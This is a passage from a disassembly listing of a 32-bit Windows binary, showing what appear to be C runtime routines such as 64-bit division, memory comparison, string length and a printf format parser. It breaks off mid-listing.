XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26B0392h cmp eax, 0FFFFFFFFh jnz short loc_419819 nop call near ptr 26702AAh push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_4CD9B4, 0Dh mov dword_4CD9B8, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_4CDA48, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4CDA58 call esi test eax, eax jnz loc_419AB2 nop call near ptr 26702AAh cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_433C70 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4CDA58 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_4CDA48, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4CDA58 nop call near ptr 2640000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_433C3C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4CD9FC, edi jnz short loc_419B24 push [esp+4+arg_0] call near ptr 27A0B7Bh nop push eax call near ptr 2800C91h nop loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4CD9F8, edi mov byte_4CD9F4, bl jnz short loc_419B78 mov eax, dword_4CF03C test eax, eax jz short loc_419B67 mov ecx, dword_4CF038 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_4CF03C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_4CD9FC, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27F0CC6h test eax, eax jnz short loc_419BD0 nop call near ptr 26702AAh jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 0E1820309h, 1667BC13h, 8740938Fh, 6422052Eh, 0A1h, 89645000h dd 25h, 58EC8300h, 89575653h, 84E8E865h, 9002447Eh, 0D48AD233h dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h, 4CD9C8h dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah, 59000000h dd 0E8FC7589h, 5967h, 7E0BE890h, 2CA30244h, 0E8004CF0h dd 5825h, 4CDA00A3h, 55CEE800h, 10E80000h, 0E8000055h dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 446377E8h, 54A1E802h dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h dd 9C75FF50h, 0E8905656h, 2326E90h, 49F7E850h, 4589FFFFh dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h dd 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_4CDA08, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_433C60 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 4CDA083Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_4363A8 jz short loc_419D83 cmp esi, offset dword_4363C8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_4362F0 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_433C70 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_433C6C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_433C68 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_435FD0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_435FDC pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_435FD4 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_433C68 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE 